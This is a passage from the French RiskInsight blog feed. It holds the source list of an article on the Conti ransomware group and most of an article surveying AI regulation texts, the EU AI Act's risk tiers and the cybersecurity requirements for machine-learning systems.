<h3><img loading="lazy" decoding="async" class="aligncenter wp-image-18262 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Info-FR-scaled.jpg" alt="" width="2560" height="1468" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Info-FR-scaled.jpg 2560w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Info-FR-333x191.jpg 333w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Info-FR-68x39.jpg 68w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Info-FR-120x70.jpg 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Info-FR-768x441.jpg 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Info-FR-1536x881.jpg 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Info-FR-2048x1175.jpg 2048w" sizes="auto, (max-width: 2560px) 100vw, 2560px" /></h3>
<h3> </h3>
<h3 style="text-align: justify;"><strong>A propos de notre méthode</strong></h3>
<p style="text-align: justify;">L’ensemble des informations présentent dans cette étude proviennent d’observations de terrain de Wavestone ainsi que de multiples sources d’analyses &#8211; publiques comme privées : le National Cyber Security Center, Check Point Research, Palo Alto Networks, Breachquest ou encore Chainalysis.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;"><strong>Sources</strong></h3>
<p style="text-align: justify;"><a href="#_ftnref1">[1]</a> « Conti ransomware shuts down operation, rebrands into smaller units », Bleeping Computer, Mai 2022</p>
<p style="text-align: justify;"><a href="https://www.bleepingcomputer.com/news/security/conti-ransomware-shuts-down-operation-rebrands-into-smaller-units/">Conti ransomware shuts down operation, rebrands into smaller units (bleepingcomputer.com)</a></p>
<p style="text-align: justify;"><a href="#_ftnref2">[2]</a> « Cyberattaques en France : le ransomware, menace numéro 1 », Risk Insight, Octobre 2021</p>
<p style="text-align: justify;"><a href="https://www.riskinsight-wavestone.com/2021/10/cyberattaques-en-france-le-ransomware-menace-numero-1/">https://www.riskinsight-wavestone.com/2021/10/cyberattaques-en-france-le-ransomware-menace-numero-1/</a> </p>
<p style="text-align: justify;"><a href="#_ftnref3">[3]</a> « US links $5.2 billion worth of Bitcoin transactions to ransomware », Bleeping Computer, Octobre 2021</p>
<p style="text-align: justify;"><a href="https://www.bleepingcomputer.com/news/security/us-links-52-billion-worth-of-bitcoin-transactions-to-ransomware/">https://www.bleepingcomputer.com/news/security/us-links-52-billion-worth-of-bitcoin-transactions-to-ransomware/</a></p>
<p style="text-align: justify;"><a href="#_ftnref4">[4]</a> « Le rançongiciel Ryuk », ANSSI, Septembre 2021</p>
<p style="text-align: justify;"><a href="https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-011.pdf">CERTFR-2020-CTI-011.pdf (ssi.gouv.fr)</a></p>
<p style="text-align: justify;"><a href="#_ftnref5">[5]</a> « THE 2022 CRYPTO CRIME REPORT », Chainalysis, Février 2022</p>
<p style="text-align: justify;"><a href="https://go.chainalysis.com/rs/503-FAP-074/images/Crypto-Crime-Report-2022.pdf">Crypto-Crime-Report-2022.pdf (chainalysis.com)</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2022/07/ransomware-immersion-au-sein-de-lancien-groupe-conti/">Ransomware : Immersion au sein de l’ancien groupe CONTI</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2022/07/ransomware-immersion-au-sein-de-lancien-groupe-conti/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>L’Intelligence Artificielle bientôt réglementée ?</title>
		<link>https://www.riskinsight-wavestone.com/2022/06/lintelligence-artificielle-bientot-reglementee/</link>
					<comments>https://www.riskinsight-wavestone.com/2022/06/lintelligence-artificielle-bientot-reglementee/#respond</comments>
		
		<dc:creator><![CDATA[Morgane Nicolas]]></dc:creator>
		<pubDate>Wed, 22 Jun 2022 15:00:00 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[IA]]></category>
		<category><![CDATA[Réglementations]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=18071</guid>

					<description><![CDATA[<p>Depuis les prémices de sa théorisation dans les années 1950 lors de la conférence de Dartmouth[1], l’Intelligence Artificielle (IA) a connu un développement important. Aujourd’hui, grâce à certains facteurs comme les progrès techniques dans divers domaines technologiques tels que le...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2022/06/lintelligence-artificielle-bientot-reglementee/">L’Intelligence Artificielle bientôt réglementée ?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Depuis les prémices de sa théorisation dans les années 1950 lors de la conférence de Dartmouth<a href="#_ftn1" name="_ftnref1">[1]</a>, l’Intelligence Artificielle (IA) a connu un développement important. Aujourd’hui, grâce à certains facteurs comme les progrès techniques dans divers domaines technologiques tels que le cloud computing par exemple, nous la retrouvons dans des usages quotidiens variés. L’IA compose des chansons, reconnait nos voix, anticipe nos besoins, conduit notre voiture et surveille notre santé&#8230;</p>
<p style="text-align: justify;">Naturellement, le développement de l’IA fait naître de nombreuses craintes de la part des citoyens. Parmi les plus communes, nous retrouvons, par exemple, que l’IA fasse de mauvais choix conduisant à des incidents (voitures autonomes), ou encore qu’elle entraine une violation des données personnelles qu’elle manipule potentiellement (crainte largement alimentée par les scandales éclatant autour de grands acteurs du marché<a href="#_ftn2" name="_ftnref1">[2]</a>).</p>
<p style="text-align: justify;">En l’absence de règlementations claires en matière d’IA, Wavestone a souhaité étudier, notamment à des fins d’anticipation des besoins à venir, qui sont les acteurs sur le devant de la scène en matière de textes sur l’encadrement de l’IA, quels sont ces textes, les idées qui y sont développées et quels impacts sur la sécurité de systèmes d’IA sont à anticiper.</p>
<p> </p>
<h1>Réglementation en matière d’IA : le panorama mondial</h1>
<h2>Législation en matière d’IA</h2>
<p style="text-align: justify;">Dans l’ensemble des textes relatifs à la règlementation en matière d’IA, il n’existe pas, à date, de textes législatifs<a href="#_ftn3" name="_ftnref1">[3]</a><a href="#_ftn4" name="_ftnref1">[4]</a><a href="#_ftn3" name="_ftnref1"></a><a href="#_ftn1" name="_ftnref1"></a><a href="#_ftn2" name="_ftnref2"></a> à proprement parler. Néanmoins, les textes formalisent généralement un ensemble de grandes lignes directrices pour développer un cadre normatif de l’IA. Il y a, par exemple, des guides/recommandations, des plans stratégiques ou encore des livres blancs.</p>
<p style="text-align: justify;"><a href="#_ftnref1" name="_ftn1"></a></p>
<p style="text-align: justify;">Ils émergent principalement des Etats-Unis, de l’Europe, de l’Asie ou de grandes instances internationales :</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18072 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image1.png" alt="" width="906" height="548" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image1.png 906w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image1-316x191.png 316w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image1-64x39.png 64w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image1-768x465.png 768w" sizes="auto, (max-width: 906px) 100vw, 906px" /></p>
<p style="text-align: center;"><em>Figure 1: Panorama mondial des textes sur l&rsquo;IA<a href="#_ftn5" name="_ftnref1"><strong>[5]</strong></a></em></p>
<p><a href="#_ftnref5" name="_ftn1"></a></p>
<p>Et leur cadence ne faiblit pas ces dernières années. Depuis 2019, de plus en plus de textes en matière de règlementation de l’IA sont produits :</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18074 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image2.png" alt="" width="1000" height="536" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image2.png 1000w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image2-356x191.png 356w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image2-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image2-768x412.png 768w" sizes="auto, (max-width: 1000px) 100vw, 1000px" /></p>
<p style="text-align: center;"><em>Figure 2 : Chronologie des principaux textes</em></p>
<h2> </h2>
<h2>Deux types d’acteurs portent ces textes avec des connaissances parfois hétérogènes en matière de cybersécurité</h2>
<p style="text-align: justify;">Les textes sont généralement portés par deux types d’acteurs :</p>
<ul style="text-align: justify;">
<li>Des décideurs. C’est-à-dire des instances dont l’objectif est de formaliser les règlementations et les exigences auxquelles les systèmes d’IA devront répondre.</li>
<li>Des influenceurs. C’est-à-dire des instances/organisations qui possèdent une certaine autorité dans le domaine de l’IA.</li>
</ul>
<p style="text-align: justify;">A l’échelle de l’Union Européenne, des décideurs comme la Commission Européenne ou des influenceurs comme l’ENISA ont une importance capitale dans le développement des règlementations ou bonnes pratiques en matière de développement d’IA.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18076 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image3.png" alt="" width="852" height="497" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image3.png 852w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image3-327x191.png 327w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image3-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image3-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image3-768x448.png 768w" sizes="auto, (max-width: 852px) 100vw, 852px" /></p>
<p style="text-align: center;"><em>Figue 3 : Principaux acteurs en Europe</em></p>
<p style="text-align: justify;">De manière générale, les textes adressent un nombre de thématiques variées. Ils donnent par exemple des stratégies à adopter ou des lignes directrices en matière d’éthique d’IA. Ils s’adressent tant aux gouvernements qu’aux entreprises et visent parfois des secteurs particuliers comme le secteur bancaire.</p>
<p style="text-align: justify;">D’un point de vue cybersécurité, les textes sont hétérogènes. Le graphique suivant représente l’appétence cyber des textes :  </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18078 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image4.png" alt="" width="1031" height="495" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image4.png 1031w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image4-398x191.png 398w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image4-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image4-768x369.png 768w" sizes="auto, (max-width: 1031px) 100vw, 1031px" /></p>
<p style="text-align: center;"><em>Figure 4 : Corpus de textes entre 2018 et 2021</em></p>
<h1> </h1>
<h1>Ce que disent les textes en matière de Cybersécurité</h1>
<p style="text-align: justify;">Comme le montre la Figure 4, un nombre important de textes proposent des exigences liées à la cybersécurité. Cela s’explique en partie car l’IA a des spécificités fonctionnelles qui doivent être adressées par des exigences cyber particulières. Pour entrer dans le détail technique des textes, réduisons l’IA à une de ses techniques les plus utilisées à date : le Machine Learning (Les détails du fonctionnement du Machine Learning sont fournis en <em>Annexe I : Machine Learning</em>).</p>
<p style="text-align: justify;">De nombreuses exigences cyber existent pour protéger les actifs supports des applications utilisant du ML Machine Learning (ML) tout au long du cycle de vie des projets. A l’échelle macroscopique, ces exigences peuvent être catégorisées dans les piliers classiques de la cybersécurité<a href="#_ftn6" name="_ftnref1"><sup>[6]</sup></a><sup> </sup>extraits du Framework NIST<a href="#_ftn7" name="_ftnref2">[7]</a> :  </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18080 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image5.png" alt="" width="867" height="410" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image5.png 867w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image5-404x191.png 404w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image5-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image5-768x363.png 768w" sizes="auto, (max-width: 867px) 100vw, 867px" /></p>
<p><a href="#_ftnref6" name="_ftn1"></a></p>
<p style="text-align: center;"><em>Figure 5 : Piliers de la cybersécurité </em></p>
<p style="text-align: justify;">Le schéma suivant représente ainsi différents textes avec les volets cyber qu’ils comportent :</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18082 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image6.png" alt="" width="882" height="448" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image6.png 882w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image6-376x191.png 376w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image6-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image6-768x390.png 768w" sizes="auto, (max-width: 882px) 100vw, 882px" /></p>
<p style="text-align: center;"><em>Figure 6 : Spécificités cyber de quelques textes importants</em></p>
<p style="text-align: justify;">De façon générale, si nous croisons les résultats de la Figure 6 avec ceux de l’étude de l’ensemble des textes, il vient que trois exigences sont particulièrement adressées :</p>
<ul style="text-align: justify;">
<li>Analyser les risques sur les systèmes de ML en prenant en compte leurs spécificités, pour identifier à la fois les mesures de sécurité « classiques » et celles spécifiques aux systèmes de ML. Pour cela, il convient généralement de respecter les étapes suivantes :
<ul>
<li>Comprendre les intérêts des attaquants à attaquer le système de ML.</li>
<li>Identifier la sensibilité des données manipulées dans le cycle de vie du système de ML (Par exemple : personnelles, médicales, militaires etc.).</li>
<li>Cadrer les besoins juridiques et de droits de propriété intellectuelle (à qui appartient le modèle et les données manipulées dans le cas d’un hébergement dans le cloud par exemple).</li>
<li>Comprendre où sont hébergées les différents actifs supports des applications utilisant le Machine Learning tout le long du cycle de vie du système de Machine Learning. Par exemple, certaines applications peuvent être hébergées en cloud, d’autres on-premise. Il convient d’ajuster sa stratégie des risques cyber en conséquence (Gestion des prestataires, des différents flux etc.).</li>
<li>Comprendre l’architecture et l’exposition du modèle. Certains modèles sont plus exposés que d’autres aux attaques spécifiques aux Machine Learning. Par exemple certains modèles sont exposés publiquement et peuvent ainsi faire l’objet d’une phase de reconnaissance approfondie de la part d’un attaquant (par exemple en glissant des inputs et en observant les outputs).</li>
<li>Inclure les attaques spécifiques sur les algorithmes de Machine Learning. Il en existe trois majeures : les attaques de type évasion (qui vise l’intégrité), de type oracle (qui vise la confidentialité) ou celle de type empoisonnement (qui vise l’intégrité et la disponibilité).</li>
</ul>
</li>
<li>Tracer et surveiller les actions. Cela comprend au moins deux niveaux :
<ul>
<li>La traçabilité (log des actions) pour permettre une surveillance des accès aux ressources exploitées par le système ML.</li>
<li>Des règles de détection plus « métiers » pour vérifier que le système est toujours performant et éventuellement détecter si une attaque est en cours sur celui-ci.</li>
</ul>
</li>
<li>Avoir une gouvernance de la donnée. Comme expliqué en <em>Annexe I : Machine Learning</em>, Les données sont la matière première des systèmes de ML. Ils convient donc de prendre un ensemble de mesures pour la protéger comme :
<ul>
<li>S’assurer de l’intégrité lors de l’intégralité du cycle de vie de la donnée.</li>
<li>Sécuriser l’accès à la donnée.</li>
<li>S’assurer de la qualité de la donnée récoltée.</li>
</ul>
</li>
</ul>
<p style="text-align: justify;">Il y a fort à parier que ces points seront présents dès les premières règlementations publiées.</p>
<p> </p>
<h1>L’AI Act : l’Europe prendra-t-elle les devants comme pour le RGPD ?</h1>
<p style="text-align: justify;">Dans le cadre de cette étude, nous avons approfondi ce qui avait été fait au sein de l’Union Européenne et un texte a particulièrement attiré notre attention.</p>
<p style="text-align: justify;">L’affirmation selon laquelle il n’existe pas encore de texte législatif est en partie vraie. En effet, en 2021, la commission européenne a publié l&rsquo;AI Act<a href="#_ftn8" name="_ftnref2">[8]</a> <a href="#_ftn1" name="_ftnref1"></a>: une proposition législative qui vise à tenir compte des risques associés à certaines utilisations de l’IA. Ses objectifs, pour citer le document, sont de :</p>
<ul style="text-align: justify;">
<li>Veiller à ce que les systèmes d&rsquo;IA mis sur le marché de l&rsquo;Union et utilisés soient sûrs et respectent la législation en vigueur en matière de droits fondamentaux et les valeurs de l&rsquo;Union ;</li>
<li>Garantir la sécurité juridique pour faciliter les investissements et l&rsquo;innovation dans le domaine de l&rsquo;IA ;</li>
<li>Renforcer la gouvernance et l&rsquo;application effective de la législation existante en matière de droits fondamentaux et des exigences de sécurité applicables aux systèmes d&rsquo;IA ;</li>
<li>Faciliter le développement d&rsquo;un marché unique pour des applications d&rsquo;IA légales, sûres et dignes de confiance, et empêcher la fragmentation du marché.</li>
</ul>
<p style="text-align: justify;">L’AI Act s’inscrit dans la logique des textes énumérés ci-dessus. Il adopte une approche basée sur le risque avec des exigences qui dépendent des niveaux de risque des systèmes d’IA. Le règlement définit ainsi quatre niveaux de risque :</p>
<ul style="text-align: justify;">
<li>Les systèmes d’IA à risques inacceptables ;</li>
<li>Les systèmes d’IA à haut risque ;</li>
<li>Les systèmes d’IA présentant des risques spécifiques ; </li>
<li>Les systèmes d’IA présentant des risques minimes.</li>
</ul>
<p style="text-align: justify;">Chacun de ces niveaux fait l’objet d’un article dans la proposition législative afin de les définir précisément et de construire la réglementation associée.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18084 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image7.png" alt="" width="936" height="347" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image7.png 936w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image7-437x162.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image7-71x26.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image7-768x285.png 768w" sizes="auto, (max-width: 936px) 100vw, 936px" /></p>
<p style="text-align: center;"><em>Figure 7 : La hiérarchie des risques présente dans l&rsquo;AI Act<a href="#_ftn9" name="_ftnref2">[9]</a></em></p>
<p>Pour les systèmes d’IA à risques élevés, l’AI Act propose des exigences cyber dans la lignée de celles présentées plus haut. Par exemple, si nous reprenons la catégorisation inspirée du NIST présentée dans la Figure 5 :</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18090 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image9.png" alt="" width="3761" height="2424" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image9.png 3761w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image9-296x191.png 296w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image9-61x39.png 61w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image9-768x495.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image9-1536x990.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image9-2048x1320.png 2048w" sizes="auto, (max-width: 3761px) 100vw, 3761px" /></p>
<p style="text-align: justify;">Même si le texte n’est qu’une proposition (elle peut être adoptée d’ici 1 à 5 ans), nous remarquons que L’Union Européenne, comme avec les données à caractère personnel et le RGPD, prend les devants en proposant un règlement audacieux pour accompagner le développement de l’IA.</p>
<p> </p>
<h1>Quels avenirs pour la règlementation en matière d’IA et la cybersécurité ? </h1>
<p style="text-align: justify;">Ces dernières années de nombreux textes en matière de règlementation des systèmes d’IA ont été publiés. Bien qu’il n’existe pas, à date, de textes législatifs, on remarque tout de même que la pression s’intensifie avec de nombreux textes comme en témoigne par exemple l’AI Act, une proposition de l’Union Européenne. Ces propositions fournissent des exigences en matière de stratégie de développement d’IA, d’éthique et de cybersécurité. Pour cette dernière, les exigences touchent surtout des sujets comme la gestion des risques cyber, le monitoring, la gouvernance et la protection des données. De plus, il y a fort à parier que les premières règlementations proposeront une approche basée sur les risques avec des exigences adaptées en fonction des niveaux de risques.</p>
<p style="text-align: justify;">Par rapport à son analyse de la situation, Wavestone ne peut qu’encourager à développer une approche comme celle proposée par l’AI Act en adoptant une méthodologie basée sur les risques. C’est-à-dire à identifier les risques portés par les projets et à implémenter des mesures de sécurité adaptées. Cela permettrait d’ores et déjà de se mettre en ordre de marche et d’éviter une mise en conformité à posteriori. </p>
<p> </p>
<h3>Annexe I : Machine Learning</h3>
<p style="text-align: justify;">Le Machine Learning (ML) se définit comme l’opportunité laissée aux systèmes<a href="#_ftn10" name="_ftnref1">[10]</a> d’apprendre à résoudre une tâche à l’aide de données sans y être explicitement programmés. De manière heuristique, un système de ML apprend à donner une « sortie adéquat », par exemple est-ce que telle image issue d’un scanner présente une tumeur, à partir de données d’entrées (i-e l’image d’un scanner dans notre exemple).</p>
<p style="text-align: justify;">Pour citer l’ENISA<a href="#_ftn11" name="_ftnref2"><sup>[11]</sup></a>, les spécificités sur lesquelles repose le Machine Learning sont les suivantes :</p>
<ul style="text-align: justify;">
<li>La donnée. Elle est au cœur du Machine Learning. La donnée est la matière première consommée par les systèmes de ML pour apprendre à résoudre une tâche puis pour la réaliser une fois en production.</li>
<li>Un modèle. C’est-à-dire un modèle mathématique et algorithmique qui peut se voir comme une boîte avec un grand ensemble de paramètres ajustables utilisés pour donner une sortie à partir de données d’entrée. Lors d’une phase appelée l’apprentissage, le modèle utilise des données pour apprendre à résoudre une tâche en ajustant automatiquement ses paramètres, puis une fois mise en production il pourra mener la tâche à bien grâce aux paramètres ajustés.</li>
<li>Des process spécifiques. Ces process spécifiques adressent l’ensemble du cycle de vie du système de ML. Ils portent par exemple sur la donnée (traitement de la donnée pour la rendre exploitable par exemple) ou sur le paramétrage du modèle lui-même (comment le modèle ajuste ses paramètres à partir des données qu’il utilise).</li>
<li>Des outils et environnements de développement. Par exemple, beaucoup de modèles sont entraînés puis stockés directement sur des plateformes cloud car ils nécessitent beaucoup de ressources pour effectuer les calculs du modèle.</li>
<li>Des acteurs. Notamment car de nouveaux métiers ont été créés avec l’essor du Machine Learning comme les fameux Data Scientists.</li>
</ul>
<p style="text-align: justify;">Généralement, le cycle de vie d’un projet de Machine Learning peut se décomposer selon les étapes suivantes :<a href="#_ftnref10" name="_ftn1"></a></p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18086 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image8.png" alt="" width="752" height="620" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image8.png 752w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image8-232x191.png 232w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/06/Image8-47x39.png 47w" sizes="auto, (max-width: 752px) 100vw, 752px" /></p>
<p style="text-align: center;"><em>Figure 8 : cycle de vie d&rsquo;un projet de Machine Learning<a href="#_ftn12" name="_ftnref1">[12]</a></em></p>
<h3>Annexe 2 Liste non exhaustive de textes relatifs à l’IA et à l’encadrement de son développement</h3>
<table style="border-style: solid; width: 100.42%; border-color: #000000; background-color: #ffffff;" width="100.42%">
<tbody>
<tr>
<td style="width: 16.6412%;" width="105">
<p><strong>Pays ou regroupement international</strong></p>
</td>
<td style="width: 39.2366%;" width="270">
<p><strong>Titre du document</strong></p>
</td>
<td style="width: 29.313%;" width="200">
<p><strong>Publié par</strong></p>
</td>
<td style="width: 41.0509%;" width="76">
<p><strong>Date de publication</strong></p>
</td>
</tr>
<tr>
<td style="width: 16.6412%;" rowspan="4" width="105">
<p><strong>France</strong></p>
</td>
<td style="width: 39.2366%;" width="270">
<p>Donner un sens à l&rsquo;IA: pour une stratégie nationale et européenne</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Cédric Villani</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Mars 2018</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>Stratégie Nationale de recherche en IA</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Ministère de l&rsquo;enseignement supérieur, de la recherche et de l&rsquo;innovation, ministère de l’Économie et des Finances, Direction générale des entreprises, Ministère de la Santé, Ministère des Armées, INRIA, DINSIC</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Novembre 2018</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>Algorithmes : prévenir l&rsquo;automatisation des discriminations</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Défenseurs des droits &#8211; CNIL</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Mai 2020</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>Sécurité de l’IA</p>
</td>
<td style="width: 29.313%;" width="200">
<p>CNIL</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Avril 2022</p>
</td>
</tr>
<tr>
<td style="width: 16.6412%;" rowspan="7" width="105">
<p><strong>Europe</strong></p>
</td>
<td style="width: 39.2366%;" width="270">
<p>Artificial Intelligence for Europe</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Commission Européenne</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Avril 2018</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>Lignes directrices en matière d&rsquo;éthique pour une IA digne de confiance</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Indépendants de haut niveau sur l&rsquo;intelligence artificielle</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Avril 2019</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>Renforcer la confiance dans l&rsquo;intelligence artificielle axée sur le facteur humain</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Commission Européenne</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Avril 2019</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>Policy and Investment Recommendations for Trustworthy AI</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Indépendants de haut niveau sur l&rsquo;intelligence artificielle</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Juin 2019</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>Livre blanc &#8211; IA : une approche européenne axée sur l&rsquo;excellence et la confiance</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Commission Européenne</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Février 2020</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>AI Act</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Commission Européenne</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Avril 2021</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>Securing Machine Learning Algorithms</p>
</td>
<td style="width: 29.313%;" width="200">
<p>ENISA</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Novembre 2021</p>
</td>
</tr>
<tr>
<td style="width: 16.6412%;" width="105">
<p><strong>Belgique</strong></p>
</td>
<td style="width: 39.2366%;" width="270">
<p>AI 4 Belgium</p>
</td>
<td style="width: 29.313%;" width="200">
<p>AI 4 Belgium Coalition</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Mars 2019</p>
</td>
</tr>
<tr>
<td style="width: 16.6412%;" width="105">
<p><strong>Luxembourg</strong></p>
</td>
<td style="width: 39.2366%;" width="270">
<p>Intelligence artificielle : une vision stratégique pour le Luxembourg</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Digital Luxembourg, Gouvernement du Grand-Duché de Luxembourg</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Mai 2019</p>
</td>
</tr>
<tr>
<td style="width: 16.6412%;" rowspan="9" width="105">
<p><strong>Etats-Unis</strong></p>
</td>
<td style="width: 39.2366%;" width="270">
<p>A Vision for Safety 2.0: Automated Driving Systems</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Department of Transportation</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Août 2017</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>Preparing for the Future of Transportation: Automated Vehicles 3.0</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Department of Transportation</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Octobre 2018</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>The AIM Initiative: A Strategy for Augmenting Intelligence Using Machines</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Department of Defense</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Janvier 2019</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>Summary of the 2018 Department of Defense Artificial Intelligence Strategy: Harnessing AI to Advance our Security and Prosperity</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Department of Defense</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Février 2019</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>The National Artificial Intelligence Research and Development Strategic Plan: 2019 Update</p>
</td>
<td style="width: 29.313%;" width="200">
<p>National Science &amp; Technology Council</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Juin 2019</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>A Plan for Federal Engagement in Developing Technical Standards and Related Tools</p>
</td>
<td style="width: 29.313%;" width="200">
<p>NIST (National Institute of Standards and Technology)</p>
</td>
<td style="width: 41.0509%;" width="76">
<p>Août 2019</p>
</td>
</tr>
<tr>
<td style="width: 39.2366%;" width="270">
<p>Ensuring American Leadership in Automated Vehicle Technologies: Automated Vehicles 4.0</p>
</td>
<td style="width: 29.313%;" width="200">
<p>Department of Transportation</p>
</td>
<td style="width: 41.0509%;" width="76">
